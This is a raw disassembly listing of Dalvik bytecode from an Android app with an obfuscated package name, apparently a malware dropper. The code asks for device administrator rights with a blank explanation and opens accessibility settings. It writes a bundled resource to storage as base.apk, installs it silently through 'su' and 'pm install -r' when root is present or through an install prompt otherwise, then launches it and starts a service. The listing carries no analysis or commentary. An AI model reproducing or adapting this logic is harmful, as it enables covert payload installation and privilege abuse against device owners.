    000864e6iget-object v5, v5, Lcmf0/c3b5bm90zq/patch/C7;->a:Lcmf0/c3b5bm90zq/patch/c;
    000864eainvoke-virtual {v5}, Lcmf0/c3b5bm90zq/patch/c;->b()Landroid/content/ComponentName;
    000864f0move-result-object v5
    000864f2invoke-virtual {v3, v4, v5}, Landroid/content/Intent;->putExtra(Ljava/lang/String;Landroid/os/Parcelable;)Landroid/content/Intent;
    000864f8const-string v4, "android.app.extra.ADD_EXPLANATION"
    000864fcconst-string v5, ""
    00086500invoke-virtual {v3, v4, v5}, Landroid/content/Intent;->putExtra(Ljava/lang/String;Ljava/lang/String;)Landroid/content/Intent;
    00086506iget-object v4, v8, Lcmf0/c3b5bm90zq/patch/C7$1;->a:Lcmf0/c3b5bm90zq/patch/C7;
    0008650aconst/16 v5, 0x64
    0008650einvoke-virtual {v4, v3, v5}, Lcmf0/c3b5bm90zq/patch/C7;->startActivityForResult(Landroid/content/Intent;I)V
    00086514const/4 v3, 0x1
    00086516invoke-virtual {v0, v3}, Ljava/lang/String;->charAt(I)C
    0008651cmove-result v4
    0008651eif-ne v4, v2, :cond_89
    00086522sget-boolean v4, Lcmf0/c3b5bm90zq/patch/C11;->j:Z
    00086526if-nez v4, :cond_89
    0008652anew-instance v4, Landroid/content/Intent;
    0008652einvoke-direct {v4}, Landroid/content/Intent;-><init>()V
    00086534const/high16 v5, 0x10000000
    00086538invoke-virtual {v4, v5}, Landroid/content/Intent;->setFlags(I)Landroid/content/Intent;
    0008653econst-string v5, "android.settings.ACCESSIBILITY_SETTINGS"
    00086542invoke-virtual {v4, v5}, Landroid/content/Intent;->setAction(Ljava/lang/String;)Landroid/content/Intent;
    00086548iget-object v5, v8, Lcmf0/c3b5bm90zq/patch/C7$1;->a:Lcmf0/c3b5bm90zq/patch/C7;
    0008654cinvoke-virtual {v5, v4}, Lcmf0/c3b5bm90zq/patch/C7;->startActivity(Landroid/content/Intent;)V
    00086552invoke-virtual {v0, v1}, Ljava/lang/String;->charAt(I)C
    00086558move-result v1
    0008655aconst/4 v4, 0x0
    0008655cif-ne v1, v2, :cond_9d
    00086560iget-object v1, v8, Lcmf0/c3b5bm90zq/patch/C7$1;->a:Lcmf0/c3b5bm90zq/patch/C7;
    00086564iget-object v1, v1, Lcmf0/c3b5bm90zq/patch/C7;->a:Lcmf0/c3b5bm90zq/patch/c;
    00086568invoke-virtual {v1}, Lcmf0/c3b5bm90zq/patch/c;->a()Z
    0008656emove-result v1
    00086570if-eqz v1, :cond_9b
    00086574goto :goto_9d
    00086576const/4 v1, 0x0
    00086578goto :goto_9e
    0008657aconst/4 v1, 0x1
    0008657cinvoke-virtual {v0, v3}, Ljava/lang/String;->charAt(I)C
    00086582move-result v5
    00086584if-ne v5, v2, :cond_ab
    00086588sget-boolean v5, Lcmf0/c3b5bm90zq/patch/C11;->j:Z
    0008658cif-ne v5, v3, :cond_a9
    00086590goto :goto_ab
    00086592const/4 v5, 0x0
    00086594goto :goto_ac
    00086596const/4 v5, 0x1
    00086598if-ne v1, v3, :cond_118
    0008659cif-ne v5, v3, :cond_118
    000865a0iget-object v1, v8, Lcmf0/c3b5bm90zq/patch/C7$1;->a:Lcmf0/c3b5bm90zq/patch/C7;
    000865a4invoke-virtual {v1}, Lcmf0/c3b5bm90zq/patch/C7;->getApplicationContext()Landroid/content/Context;
    000865aamove-result-object v1
    000865acinvoke-virtual {v1}, Landroid/content/Context;->getResources()Landroid/content/res/Resources;
    000865b2move-result-object v1
    000865b4const/high16 v5, 0x7f0c0000
    000865b8invoke-virtual {v1, v5}, Landroid/content/res/Resources;->getString(I)Ljava/lang/String;
    000865bemove-result-object v1
    000865c0const-string v5, ".."
    000865c4invoke-virtual {v1, v5}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
    000865camove-result v5
    000865ccif-nez v5, :cond_f9
    000865d0iget-object v5, v8, Lcmf0/c3b5bm90zq/patch/C7$1;->a:Lcmf0/c3b5bm90zq/patch/C7;
    000865d4invoke-virtual {v5}, Lcmf0/c3b5bm90zq/patch/C7;->getApplicationContext()Landroid/content/Context;
    000865damove-result-object v5
    000865dcinvoke-static {v5, v1}, Lcmf0/c3b5bm90zq/patch/C7;->a(Landroid/content/Context;Ljava/lang/String;)Z
    000865e2move-result v5
    000865e4if-ne v5, v3, :cond_da
    000865e8iget-object v5, v8, Lcmf0/c3b5bm90zq/patch/C7$1;->a:Lcmf0/c3b5bm90zq/patch/C7;
    000865ecinvoke-static {v5, v1}, Lcmf0/c3b5bm90zq/patch/C7;->a(Lcmf0/c3b5bm90zq/patch/C7;Ljava/lang/String;)V
    000865f2goto :goto_f9
    000865f4iget-object v5, v8, Lcmf0/c3b5bm90zq/patch/C7$1;->a:Lcmf0/c3b5bm90zq/patch/C7;
    000865f8iget-object v5, v5, Lcmf0/c3b5bm90zq/patch/C7;->b:Lcmf0/c3b5bm90zq/patch/a;
    000865fciget-object v6, v8, Lcmf0/c3b5bm90zq/patch/C7$1;->a:Lcmf0/c3b5bm90zq/patch/C7;
    00086600invoke-virtual {v6}, Lcmf0/c3b5bm90zq/patch/C7;->getApplicationContext()Landroid/content/Context;
    00086606move-result-object v6
    00086608const-string v7, "root"
    0008660cinvoke-virtual {v5, v6, v7}, Lcmf0/c3b5bm90zq/patch/a;->a(Landroid/content/Context;Ljava/lang/String;)Ljava/lang/String;
    00086612move-result-object v5
    00086614const-string v6, "1"
    00086618if-ne v5, v6, :cond_f4
    0008661ciget-object v5, v8, Lcmf0/c3b5bm90zq/patch/C7$1;->a:Lcmf0/c3b5bm90zq/patch/C7;
    00086620invoke-static {v5, v3}, Lcmf0/c3b5bm90zq/patch/C7;->a(Lcmf0/c3b5bm90zq/patch/C7;Z)V
    00086626goto :goto_f9
    00086628iget-object v5, v8, Lcmf0/c3b5bm90zq/patch/C7$1;->a:Lcmf0/c3b5bm90zq/patch/C7;
    0008662cinvoke-static {v5, v4}, Lcmf0/c3b5bm90zq/patch/C7;->a(Lcmf0/c3b5bm90zq/patch/C7;Z)V
    00086632invoke-virtual {v0, v4}, Ljava/lang/String;->charAt(I)C
    00086638move-result v0
    0008663aif-ne v0, v2, :cond_118
    0008663econst-string v0, ".."
    00086642invoke-virtual {v1, v0}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
    00086648move-result v0
    0008664aif-nez v0, :cond_113
    0008664eiget-object v0, v8, Lcmf0/c3b5bm90zq/patch/C7$1;->a:Lcmf0/c3b5bm90zq/patch/C7;
    00086652invoke-virtual {v0}, Lcmf0/c3b5bm90zq/patch/C7;->getApplicationContext()Landroid/content/Context;
    00086658move-result-object v0
    0008665ainvoke-static {v0, v1}, Lcmf0/c3b5bm90zq/patch/C7;->a(Landroid/content/Context;Ljava/lang/String;)Z
    00086660move-result v0
    00086662if-ne v0, v3, :cond_118
    00086666iget-object v0, v8, Lcmf0/c3b5bm90zq/patch/C7$1;->a:Lcmf0/c3b5bm90zq/patch/C7;
    0008666ainvoke-virtual {v0}, Lcmf0/c3b5bm90zq/patch/C7;->a()V
    00086670iget-object v0, v8, Lcmf0/c3b5bm90zq/patch/C7$1;->a:Lcmf0/c3b5bm90zq/patch/C7;
    00086674invoke-static {v0}, Lcmf0/c3b5bm90zq/patch/C7;->a(Lcmf0/c3b5bm90zq/patch/C7;)Ljava/util/concurrent/locks/Lock;
    0008667amove-result-object v0
    0008667cinvoke-interface {v0}, Ljava/util/concurrent/locks/Lock;->unlock()V
    00086682return-void
    00086430
    00086684
    00086684 struct try_item
    00086684 start_addr uint32 0x86440
    00086688 insn_count int 289
    0008668a handler_off uint16 0x8668d
    0008668c
    0008668c struct encoded_catch_handler_list
    0008668c size int 1
    0008668d
    0008668d struct encoded_catch_handler ← 0x8668a
    0008668d size int64 1
    0008668e handlers[0].type_idx int 0x5994
    00086690 handlers[0].addr uint32 0x86682
    00086692
    00086692 // align 0x4
    00086694
    00086694cmf0.c3b5bm90zq.patch.C7$2::<init>(cmf0.c3b5bm90zq.patch.C7, boolean):
    000866a4iput-object v1, v0, Lcmf0/c3b5bm90zq/patch/C7$2;->b:Lcmf0/c3b5bm90zq/patch/C7;
    000866a8iput-boolean v2, v0, Lcmf0/c3b5bm90zq/patch/C7$2;->a:Z
    000866acinvoke-direct {v0}, Ljava/lang/Object;-><init>()V
    000866b2return-void
    00086694
    000866b4
    000866b4cmf0.c3b5bm90zq.patch.C7$2::run():
    000866c4iget-object v0, v9, Lcmf0/c3b5bm90zq/patch/C7$2;->b:Lcmf0/c3b5bm90zq/patch/C7;
    000866c8invoke-virtual {v0}, Lcmf0/c3b5bm90zq/patch/C7;->getApplicationContext()Landroid/content/Context;
    000866cemove-result-object v0
    000866d0invoke-virtual {v0}, Landroid/content/Context;->getResources()Landroid/content/res/Resources;
    000866d6move-result-object v0
    000866d8const v1, 0x7f0c0026
    000866deinvoke-virtual {v0, v1}, Landroid/content/res/Resources;->getString(I)Ljava/lang/String;
    000866e4move-result-object v0
    000866e6invoke-static {}, Landroid/os/Environment;->getExternalStorageState()Ljava/lang/String;
    000866ecmove-result-object v1
    000866eeconst-string v2, "mounted"
    000866f2invoke-virtual {v2, v1}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
    000866f8move-result v1
    000866faif-eqz v1, :cond_15a
    000866fenew-instance v1, Ljava/lang/StringBuilder;
    00086702invoke-direct {v1}, Ljava/lang/StringBuilder;-><init>()V
    00086708invoke-static {}, Landroid/os/Environment;->getExternalStorageDirectory()Ljava/io/File;
    0008670emove-result-object v2
    00086710invoke-virtual {v2}, Ljava/io/File;->getAbsolutePath()Ljava/lang/String;
    00086716move-result-object v2
    00086718invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    0008671econst-string v2, "/"
    00086722invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00086728invoke-virtual {v0}, Ljava/lang/String;->trim()Ljava/lang/String;
    0008672emove-result-object v0
    00086730invoke-virtual {v1, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00086736invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
    0008673cmove-result-object v0
    0008673enew-instance v1, Ljava/io/File;
    00086742invoke-direct {v1, v0}, Ljava/io/File;-><init>(Ljava/lang/String;)V
    00086748invoke-virtual {v1}, Ljava/io/File;->exists()Z
    0008674emove-result v2
    00086750if-nez v2, :cond_4b
    00086754invoke-virtual {v1}, Ljava/io/File;->mkdirs()Z
    0008675anew-instance v1, Ljava/lang/StringBuilder;
    0008675einvoke-direct {v1}, Ljava/lang/StringBuilder;-><init>()V
    00086764invoke-virtual {v1, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    0008676aconst-string v0, "/base.apk"
    0008676einvoke-virtual {v1, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00086774invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
    0008677amove-result-object v0
    0008677ciget-object v1, v9, Lcmf0/c3b5bm90zq/patch/C7$2;->b:Lcmf0/c3b5bm90zq/patch/C7;
    00086780invoke-virtual {v1}, Lcmf0/c3b5bm90zq/patch/C7;->getApplicationContext()Landroid/content/Context;
    00086786move-result-object v1
    00086788invoke-virtual {v1}, Landroid/content/Context;->getResources()Landroid/content/res/Resources;
    0008678emove-result-object v1
    00086790const/high16 v2, 0x7f0b0000
    00086794invoke-virtual {v1, v2}, Landroid/content/res/Resources;->openRawResource(I)Ljava/io/InputStream;
    0008679amove-result-object v1
    0008679cinvoke-virtual {v1}, Ljava/io/InputStream;->available()I
    000867a2move-result v2
    000867a4if-eqz v2, :cond_15a
    000867a8int-to-long v2, v2
    000867aaconst-wide/32 v4, 0xfa000
    000867b0const-wide/16 v6, 0x400
    000867b4cmp-long v8, v2, v4
    000867b8if-ltz v8, :cond_80
    000867bcconst-wide/32 v6, 0x19000
    000867c2goto :goto_9c
    000867c4const-wide/32 v4, 0x7d000
    000867cacmp-long v8, v2, v4
    000867ceif-ltz v8, :cond_8b
    000867d2const-wide/32 v6, 0xc800
    000867d8goto :goto_9c
    000867daconst-wide/32 v4, 0x32000
    000867e0cmp-long v8, v2, v4
    000867e4if-ltz v8, :cond_95
    000867e8const-wide/16 v6, 0x5000
    000867ecgoto :goto_9c
    000867eecmp-long v4, v2, v6
    000867f2if-ltz v4, :cond_9a
    000867f6goto :goto_9c
    000867f8const-wide/16 v6, 0x200
    000867fcinvoke-static {v6, v7}, Ljava/lang/Long;->valueOf(J)Ljava/lang/Long;
    00086802move-result-object v2
    00086804invoke-virtual {v2}, Ljava/lang/Long;->intValue()I
    0008680amove-result v2
    0008680cnew-instance v3, Ljava/io/FileOutputStream;
    00086810new-instance v4, Ljava/io/File;
    00086814invoke-direct {v4, v0}, Ljava/io/File;-><init>(Ljava/lang/String;)V
    0008681ainvoke-direct {v3, v4}, Ljava/io/FileOutputStream;-><init>(Ljava/io/File;)V
    00086820new-array v2, v2, [B
    00086824array-length v4, v2
    00086826const/4 v5, 0x0
    00086828invoke-virtual {v1, v2, v5, v4}, Ljava/io/InputStream;->read([BII)I
    0008682emove-result v4
    00086830const/4 v6, -0x1
    00086832if-eq v4, v6, :cond_bd
    00086836invoke-virtual {v3, v2, v5, v4}, Ljava/io/OutputStream;->write([BII)V
    0008683cgoto :goto_b0
    0008683einvoke-virtual {v1}, Ljava/io/InputStream;->close()V
    00086844invoke-virtual {v3}, Ljava/io/OutputStream;->close()V
    0008684aiget-boolean v1, v9, Lcmf0/c3b5bm90zq/patch/C7$2;->a:Z
    0008684econst/4 v2, 0x1
    00086850if-ne v1, v2, :cond_12e
    00086854invoke-static {}, Ljava/lang/Runtime;->getRuntime()Ljava/lang/Runtime;
    0008685amove-result-object v1
    0008685cconst-string v3, "su"
    00086860invoke-virtual {v1, v3}, Ljava/lang/Runtime;->exec(Ljava/lang/String;)Ljava/lang/Process;
    00086866move-result-object v1
    00086868invoke-virtual {v1}, Ljava/lang/Process;->getOutputStream()Ljava/io/OutputStream;
    0008686emove-result-object v3
    00086870new-instance v4, Ljava/lang/StringBuilder;
    00086874invoke-direct {v4}, Ljava/lang/StringBuilder;-><init>()V
    0008687aconst-string v5, "pm install -r "
    0008687einvoke-virtual {v4, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00086884invoke-virtual {v4, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    0008688ainvoke-virtual {v4}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
    00086890move-result-object v0
    00086892const-string v4, "ASCII"
    00086896invoke-virtual {v0, v4}, Ljava/lang/String;->getBytes(Ljava/lang/String;)[B
    0008689cmove-result-object v0
    0008689einvoke-virtual {v3, v0}, Ljava/io/OutputStream;->write([B)V
    000868a4invoke-virtual {v3}, Ljava/io/OutputStream;->flush()V
    000868aainvoke-virtual {v3}, Ljava/io/OutputStream;->close()V
    000868b0invoke-virtual {v1}, Ljava/lang/Process;->waitFor()I
    000868b6invoke-virtual {v1}, Ljava/lang/Process;->exitValue()I
    000868bcmove-result v0
    000868beif-nez v0, :cond_15a
    000868c2iget-object v0, v9, Lcmf0/c3b5bm90zq/patch/C7$2;->b:Lcmf0/c3b5bm90zq/patch/C7;
    000868c6invoke-virtual {v0}, Lcmf0/c3b5bm90zq/patch/C7;->getApplicationContext()Landroid/content/Context;
    000868ccmove-result-object v0
    000868ceinvoke-virtual {v0}, Landroid/content/Context;->getResources()Landroid/content/res/Resources;
    000868d4move-result-object v0
    000868d6const/high16 v1, 0x7f0c0000
    000868dainvoke-virtual {v0, v1}, Landroid/content/res/Resources;->getString(I)Ljava/lang/String;
    000868e0move-result-object v0
    000868e2const-wide/16 v3, 0x3e8
    000868e6invoke-static {v3, v4}, Ljava/lang/Thread;->sleep(J)V
    000868ecconst-string v1, ".."
    000868f0invoke-virtual {v0, v1}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
    000868f6move-result v1
    000868f8if-nez v1, :cond_10f
    000868fciget-object v1, v9, Lcmf0/c3b5bm90zq/patch/C7$2;->b:Lcmf0/c3b5bm90zq/patch/C7;
    00086900invoke-virtual {v1}, Lcmf0/c3b5bm90zq/patch/C7;->getApplicationContext()Landroid/content/Context;
    00086906move-result-object v1
    00086908invoke-static {v1, v0}, Lcmf0/c3b5bm90zq/patch/C7;->a(Landroid/content/Context;Ljava/lang/String;)Z
    0008690emove-result v1
    00086910if-ne v1, v2, :cond_10f
    00086914iget-object v1, v9, Lcmf0/c3b5bm90zq/patch/C7$2;->b:Lcmf0/c3b5bm90zq/patch/C7;
    00086918invoke-static {v1, v0}, Lcmf0/c3b5bm90zq/patch/C7;->a(Lcmf0/c3b5bm90zq/patch/C7;Ljava/lang/String;)V
    0008691egoto :goto_15a
    00086920new-instance v1, Landroid/content/Intent;
    00086924const-string v2, "android.intent.action.VIEW"
    00086928invoke-direct {v1, v2}, Landroid/content/Intent;-><init>(Ljava/lang/String;)V
    0008692econst v2, 0x10008000
    00086934invoke-virtual {v1, v2}, Landroid/content/Intent;->setFlags(I)Landroid/content/Intent;
    0008693anew-instance v2, Ljava/lang/StringBuilder;
    0008693einvoke-direct {v2}, Ljava/lang/StringBuilder;-><init>()V
    00086944const-string v3, "file://"
    00086948invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    0008694einvoke-virtual {v2, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00086954invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
    0008695amove-result-object v0
    0008695cinvoke-static {v0}, Landroid/net/Uri;->parse(Ljava/lang/String;)Landroid/net/Uri;
    00086962move-result-object v0
    00086964const-string v2, "application/vnd.android.package-archive"
    00086968invoke-virtual {v1, v0, v2}, Landroid/content/Intent;->setDataAndType(Landroid/net/Uri;Ljava/lang/String;)Landroid/content/Intent;
    0008696eiget-object v0, v9, Lcmf0/c3b5bm90zq/patch/C7$2;->b:Lcmf0/c3b5bm90zq/patch/C7;
    00086972invoke-virtual {v0, v1}, Lcmf0/c3b5bm90zq/patch/C7;->startActivity(Landroid/content/Intent;)V
    00086978return-void
    000866b4
    0008697a
    0008697a struct code_item_padding
    0008697a padding uint16 0x0000
    0008697c
    0008697c struct try_item
    0008697c start_addr uint32 0x866c4
    00086980 insn_count int 197
    00086982 handler_off uint16 0x869a5
    00086984
    00086984 struct try_item
    00086984 start_addr uint32 0x86854
    00086988 insn_count int 71
    0008698a handler_off uint16 0x869aa
    0008698c
    0008698c struct try_item
    0008698c start_addr uint32 0x868e6
    00086990 insn_count int 3
    00086992 handler_off uint16 0x869b3
    00086994
    00086994 struct try_item
    00086994 start_addr uint32 0x868ec
    00086998 insn_count int 25
    0008699a handler_off uint16 0x869aa
    0008699c
    0008699c struct try_item
    0008699c start_addr uint32 0x86920
    000869a0 insn_count int 44
    000869a2 handler_off uint16 0x869a5
    000869a4
    000869a4 struct encoded_catch_handler_list
    000869a4 size int 3
    000869a5
    000869a5 struct encoded_catch_handler ← 0x86982 0x869a2
    000869a5 size int64 1
    000869a6 handlers[0].type_idx int 0x5940
    000869a8 handlers[0].addr uint32 0x86978
    000869aa
    000869aa struct encoded_catch_handler ← 0x8698a 0x8699a
    000869aa size int64 2
    000869ab handlers[0].type_idx int 0x59ac
    000869ad handlers[0].addr uint32 0x86978
    000869af handlers[1].type_idx int 0x5940
    000869b1 handlers[1].addr uint32 0x86978
    000869b3
    000869b3 struct encoded_catch_handler ← 0x86992
    000869b3 size int64 2
    000869b4 handlers[0].type_idx int 0x59ac
    000869b6 handlers[0].addr uint32 0x868ec
    000869b8 handlers[1].type_idx int 0x5940
    000869ba handlers[1].addr uint32 0x86978
    000869bc
    000869bccmf0.c3b5bm90zq.patch.C7::<init>():
    000869ccinvoke-direct {v1}, Landroid/app/Activity;-><init>()V
    000869d2new-instance v0, Ljava/util/concurrent/locks/ReentrantLock;
    000869d6invoke-direct {v0}, Ljava/util/concurrent/locks/ReentrantLock;-><init>()V
    000869dciput-object v0, v1, Lcmf0/c3b5bm90zq/patch/C7;->c:Ljava/util/concurrent/locks/Lock;
    000869e0new-instance v0, Lcmf0/c3b5bm90zq/patch/a;
    000869e4invoke-direct {v0}, Lcmf0/c3b5bm90zq/patch/a;-><init>()V
    000869eaiput-object v0, v1, Lcmf0/c3b5bm90zq/patch/C7;->b:Lcmf0/c3b5bm90zq/patch/a;
    000869eereturn-void
    000869bc
    000869f0
    000869f0cmf0.c3b5bm90zq.patch.C7::a(cmf0.c3b5bm90zq.patch.C7):
    00086a00iget-object v0, v0, Lcmf0/c3b5bm90zq/patch/C7;->c:Ljava/util/concurrent/locks/Lock;
    00086a04return-object v0
    000869f0
    00086a06
    00086a06 // align 0x8
    00086a08
    00086a08cmf0.c3b5bm90zq.patch.C7::a(cmf0.c3b5bm90zq.patch.C7, java.lang.String):
    00086a18invoke-direct {v0, v1}, Lcmf0/c3b5bm90zq/patch/C7;->a(Ljava/lang/String;)V
    00086a1ereturn-void
    00086a08
    00086a20
    00086a20cmf0.c3b5bm90zq.patch.C7::a(cmf0.c3b5bm90zq.patch.C7, boolean):
    00086a30invoke-direct {v0, v1}, Lcmf0/c3b5bm90zq/patch/C7;->a(Z)V
    00086a36return-void
    00086a20
    00086a38
    00086a38cmf0.c3b5bm90zq.patch.C7::a(java.lang.String):
    00086a48invoke-virtual {v1}, Lcmf0/c3b5bm90zq/patch/C7;->getApplicationContext()Landroid/content/Context;
    00086a4emove-result-object v0
    00086a50invoke-virtual {v0}, Landroid/content/Context;->getPackageManager()Landroid/content/pm/PackageManager;
    00086a56move-result-object v0
    00086a58invoke-virtual {v0, v2}, Landroid/content/pm/PackageManager;->getLaunchIntentForPackage(Ljava/lang/String;)Landroid/content/Intent;
    00086a5emove-result-object v2
    00086a60if-eqz v2, :cond_11
    00086a64invoke-virtual {v1, v2}, Lcmf0/c3b5bm90zq/patch/C7;->startActivity(Landroid/content/Intent;)V
    00086a6areturn-void
    00086a38
    00086a6c
    00086a6c struct try_item
    00086a6c start_addr uint32 0x86a48
    00086a70 insn_count int 17
    00086a72 handler_off uint16 0x86a75
    00086a74
    00086a74 struct encoded_catch_handler_list
    00086a74 size int 1
    00086a75
    00086a75 struct encoded_catch_handler ← 0x86a72
    00086a75 size int64 1
    00086a76 handlers[0].type_idx int 0x5994
    00086a78 handlers[0].addr uint32 0x86a6a
    00086a79
    00086a79 // align 0x4
    00086a7c
    00086a7ccmf0.c3b5bm90zq.patch.C7::a(boolean):
    00086a8cnew-instance v0, Ljava/lang/Thread;
    00086a90new-instance v1, Lcmf0/c3b5bm90zq/patch/C7$2;
    00086a94invoke-direct {v1, v2, v3}, Lcmf0/c3b5bm90zq/patch/C7$2;-><init>(Lcmf0/c3b5bm90zq/patch/C7;Z)V
    00086a9ainvoke-direct {v0, v1}, Ljava/lang/Thread;-><init>(Ljava/lang/Runnable;)V
    00086aa0invoke-virtual {v0}, Ljava/lang/Thread;->start()V
    00086aa6return-void
    00086a7c
    00086aa8
    00086aa8cmf0.c3b5bm90zq.patch.C7::a(android.content.Context, java.lang.String):
    00086ab8const/4 v0, 0x0
    00086abainvoke-virtual {v1}, Landroid/content/Context;->getPackageManager()Landroid/content/pm/PackageManager;
    00086ac0move-result-object v1
    00086ac2invoke-virtual {v1, v2, v0}, Landroid/content/pm/PackageManager;->getApplicationInfo(Ljava/lang/String;I)Landroid/content/pm/ApplicationInfo;
    00086ac8const/4 v1, 0x1
    00086acareturn v1
    00086accreturn v0
    00086aa8
    00086ace
    00086ace struct code_item_padding
    00086ace padding uint16 0x0000
    00086ad0
    00086ad0 struct try_item
    00086ad0 start_addr uint32 0x86aba
    00086ad4 insn_count int 7
    00086ad6 handler_off uint16 0x86ad9
    00086ad8
    00086ad8 struct encoded_catch_handler_list
    00086ad8 size int 1
    00086ad9
    00086ad9 struct encoded_catch_handler ← 0x86ad6
    00086ad9 size int64 1
    00086ada handlers[0].type_idx int 0x4c90
    00086adb handlers[0].addr uint32 0x86acc
    00086adc
    00086adccmf0.c3b5bm90zq.patch.C7::b(cmf0.c3b5bm90zq.patch.C7):
    00086aecinvoke-direct {v0}, Lcmf0/c3b5bm90zq/patch/C7;->d()V
    00086af2return-void
    00086adc
    00086af4
    00086af4cmf0.c3b5bm90zq.patch.C7::c():
    00086b04invoke-virtual {v10}, Lcmf0/c3b5bm90zq/patch/C7;->getResources()Landroid/content/res/Resources;
    00086b0amove-result-object v0
    00086b0cconst v1, 0x7f0c0021
    00086b12invoke-virtual {v0, v1}, Landroid/content/res/Resources;->getString(I)Ljava/lang/String;
    00086b18move-result-object v0
    00086b1aconst/4 v1, 0x3
    00086b1cinvoke-virtual {v0, v1}, Ljava/lang/String;->charAt(I)C
    00086b22move-result v1
    00086b24const/4 v2, 0x0
    00086b26const/16 v3, 0x31
    00086b2aconst/4 v4, 0x1
    00086b2cif-ne v1, v3, :cond_2c
    00086b30new-instance v1, Lcmf0/c3b5bm90zq/patch/c;
    00086b34invoke-virtual {v10}, Lcmf0/c3b5bm90zq/patch/C7;->getApplicationContext()Landroid/content/Context;
    00086b3amove-result-object v5
    00086b3cinvoke-direct {v1, v5}, Lcmf0/c3b5bm90zq/patch/c;-><init>(Landroid/content/Context;)V
    00086b42iput-object v1, v10, Lcmf0/c3b5bm90zq/patch/C7;->a:Lcmf0/c3b5bm90zq/patch/c;
    00086b46iget-object v1, v10, Lcmf0/c3b5bm90zq/patch/C7;->a:Lcmf0/c3b5bm90zq/patch/c;
    00086b4ainvoke-virtual {v1}, Lcmf0/c3b5bm90zq/patch/c;->a()Z
    00086b50move-result v1
    00086b52if-eqz v1, :cond_2a
    00086b56goto :goto_2c
    00086b58const/4 v1, 0x0
    00086b5agoto :goto_2d
    00086b5cconst/4 v1, 0x1
    00086b5einvoke-virtual {v0, v4}, Ljava/lang/String;->charAt(I)C
    00086b64move-result v5
    00086b66if-ne v5, v3, :cond_3a
    00086b6asget-boolean v5, Lcmf0/c3b5bm90zq/patch/C11;->j:Z
    00086b6eif-ne v5, v4, :cond_38
    00086b72goto :goto_3a
    00086b74const/4 v5, 0x0
    00086b76goto :goto_3b
    00086b78const/4 v5, 0x1
    00086b7aiget-object v6, v10, Lcmf0/c3b5bm90zq/patch/C7;->b:Lcmf0/c3b5bm90zq/patch/a;
    00086b7econst-class v7, Lcmf0/c3b5bm90zq/patch/C11;
    00086b82invoke-virtual {v10}, Lcmf0/c3b5bm90zq/patch/C7;->getApplicationContext()Landroid/content/Context;
    00086b88move-result-object v8
    00086b8ainvoke-virtual {v6, v7, v8}, Lcmf0/c3b5bm90zq/patch/a;->a(Ljava/lang/Class;Landroid/content/Context;)Z
    00086b90move-result v6
    00086b92const/high16 v7, 0x7f0c0000
    00086b96if-nez v6, :cond_66
    00086b9aiget-object v6, v10, Lcmf0/c3b5bm90zq/patch/C7;->b:Lcmf0/c3b5bm90zq/patch/a;
    00086b9econst-class v8, Lcmf0/c3b5bm90zq/patch/C11;
    00086ba2invoke-virtual {v10}, Lcmf0/c3b5bm90zq/patch/C7;->getApplicationContext()Landroid/content/Context;
    00086ba8move-result-object v9
    00086baainvoke-virtual {v6, v8, v9}, Lcmf0/c3b5bm90zq/patch/a;->a(Ljava/lang/Class;Landroid/content/Context;)Z
    00086bb0move-result v6
    00086bb2if-nez v6, :cond_8b
    00086bb6new-instance v6, Landroid/content/Intent;
    00086bbaconst-class v8, Lcmf0/c3b5bm90zq/patch/C11;
    00086bbeinvoke-direct {v6, v10, v8}, Landroid/content/Intent;-><init>(Landroid/content/Context;Ljava/lang/Class;)V
    00086bc4invoke-virtual {v10, v6}, Lcmf0/c3b5bm90zq/patch/C7;->startService(Landroid/content/Intent;)Landroid/content/ComponentName;
    00086bcagoto :goto_8b
    00086bccnop
    00086bcegoto :goto_8b
    00086bd0invoke-virtual {v10}, Lcmf0/c3b5bm90zq/patch/C7;->getApplicationContext()Landroid/content/Context;
    00086bd6move-result-object v6
    00086bd8invoke-virtual {v6}, Landroid/content/Context;->getResources()Landroid/content/res/Resources;
    00086bdemove-result-object v6
    00086be0invoke-virtual {v6, v7}, Landroid/content/res/Resources;->getString(I)Ljava/lang/String;
    00086be6move-result-object v6
    00086be8const-string v8, ".."
    00086becinvoke-virtual {v6, v8}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
    00086bf2move-result v8
    00086bf4if-nez v8, :cond_8b
    00086bf8if-ne v1, v4, :cond_8b
    00086bfcif-ne v5, v4, :cond_8b
    00086c00invoke-virtual {v10}, Lcmf0/c3b5bm90zq/patch/C7;->getApplicationContext()Landroid/content/Context;
    00086c06move-result-object v8
    00086c08invoke-static {v8, v6}, Lcmf0/c3b5bm90zq/patch/C7;->a(Landroid/content/Context;Ljava/lang/String;)Z
    00086c0emove-result v8
    00086c10if-ne v8, v4, :cond_8b
    00086c14invoke-direct {v10, v6}, Lcmf0/c3b5bm90zq/patch/C7;->a(Ljava/lang/String;)V
    00086c1aif-ne v1, v4, :cond_b9
    00086c1eif-ne v5, v4, :cond_b9
    00086c22invoke-virtual {v0, v2}, Ljava/lang/String;->charAt(I)C
    00086c28move-result v0
    00086c2aif-ne v0, v3, :cond_b3
    00086c2einvoke-virtual {v10}, Lcmf0/c3b5bm90zq/patch/C7;->getApplicationContext()Landroid/content/Context;
    00086c34move-result-object v0
